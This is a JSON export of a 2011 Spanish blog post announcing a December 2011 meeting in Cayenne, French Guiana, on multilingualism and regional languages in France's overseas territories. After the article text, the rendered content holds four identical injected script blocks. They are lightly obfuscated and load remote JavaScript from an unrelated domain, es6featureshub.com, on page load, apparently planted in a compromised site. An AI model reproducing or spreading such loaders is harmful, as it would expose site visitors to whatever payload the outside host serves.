{"id":62616,"date":"2011-12-13T09:45:24","date_gmt":"2011-12-13T08:45:24","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=62616"},"modified":"2025-10-21T22:09:43","modified_gmt":"2025-10-21T20:09:43","slug":"14-18-de-diciembre-de-2011-estados-generales-sobre-el-multilinguismo-en-los-territorios-de-ultramar-cayena-guyana-francesa","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/12\/14-18-de-diciembre-de-2011-estados-generales-sobre-el-multilinguismo-en-los-territorios-de-ultramar-cayena-guyana-francesa\/","title":{"rendered":"14-18 de diciembre de 2011: Estados Generales sobre el multiling\u00fcismo en los Territorios de Ultramar, Cayena, Guyana francesa"},"content":{"rendered":"<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-full wp-image-62611\" title=\"outremer2011\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/outremer2011.jpg\" alt=\"outremer2011\" width=\"176\" height=\"298\" \/>Debemos este importante encuentro en Cayena, <strong>Guyana francesa<\/strong>, a la <strong>Delegaci\u00f3n General de la Lengua Francesa y Lenguas de Francia  (DGLFLF) <\/strong>del Ministerio franc\u00e9s de Cultura.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Durante 3 d\u00edas,<strong> 250 participantes<\/strong> procedentes de los Territorios de Ultramar, de la metr\u00f3polis y de pa\u00edses vecinos participar\u00e1n en varios talleres. Se hablar\u00e1 principalmente sobre c\u00f3mo construir un <strong>futuro para las lenguas de Ultramar para que convivan con el franc\u00e9s<\/strong>. El objetivo es llegar a un conjunto de preconizaciones recopiladas en una <strong>carta magna<\/strong> o <strong>lista de recomendaciones<\/strong> que busque conciliar el buen conocimiento del franc\u00e9s con la valorizaci\u00f3n de las lenguas regionales.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">La lengua materna de los habitantes de los Territorios de Ultramar no es necesariamente el franc\u00e9s, pero es en esta lengua en la que deber\u00e1n ejercer sus derechos y en la que podr\u00e1n evolucionar en un marco profesional franc\u00f3fono. A partir de ah\u00ed, el objetivo de una pol\u00edtica ling\u00fc\u00edstica en los Territorios de Ultramar deber\u00eda permitir a estos ciudadanos sentirse \u201cc\u00f3modos con su(s) lengua(s)\u201d y conjugar sus identidades culturales en plural.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Para los organizadores, no se trata pues de oponer el necesario dominio de la lengua francesa (lengua vehicular, lengua de la Rep\u00fablica y lengua de escolarizaci\u00f3n) a la no menos necesaria importancia que debe acordarse a las lenguas regionales, aut\u00f3ctonas o \u201cmaternas\u201d. Al contrario, conciben cada una de estas lenguas como complementarias en la vida social, la ense\u00f1anza, las actividades culturales, etc.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Las diferentes cuestiones que se abordar\u00e1n en los talleres son las siguientes:<\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>El uso de las lenguas<\/strong>: pluriling\u00fcismo, uso individual y en sociedad;<\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>El \u201cequipamiento\u201d de las lenguas<\/strong>: desde la lengua oral a la escrita, descripci\u00f3n y herramientas ling\u00fc\u00edsticas;<\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>La transmisi\u00f3n de las lenguas<\/strong>: tener en cuenta las lenguas de origen y su bagaje cultural en la ense\u00f1anza del franc\u00e9s, el lugar que ocupan en el sistema educativo;<\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>Las tecnolog\u00edas de las lenguas<\/strong>, su presencia en la red y redes sociales;<\/p>\n<p style=\"text-align: justify;\">&#8211;<strong> El papel que juegan las lenguas en la construcci\u00f3n de una identidad com\u00fan<\/strong>;<\/p>\n<p style=\"text-align: justify;\">&#8211; <strong>Lenguas y creaci\u00f3n art\u00edstica<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Estos Estados Generales est\u00e1n abiertos a todo el p\u00fablico y no son un coloquio cient\u00edfico propiamente dicho. Los debates alternaran, por lo tanto, entre argumentos fundados en conocimientos cient\u00edficos y argumentos basados en la experiencia.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/evenium.com\/pro\/fiche\/quest.jsp;jsessionid=C856F0A2C4260289A47CA7401A746C10.gl1?surveyName=Default&amp;locale=2&amp;pg=1000026237\" target=\"_blank\">Para m\u00e1s informaci\u00f3n y descargar el programa, haga clic aqui<\/a> (en franc\u00e9s)<\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Debemos este importante encuentro en Cayena, Guyana francesa, a la Delegaci\u00f3n General de la Lengua Francesa y Lenguas de Francia (DGLFLF) del Ministerio franc\u00e9s de Cultura. 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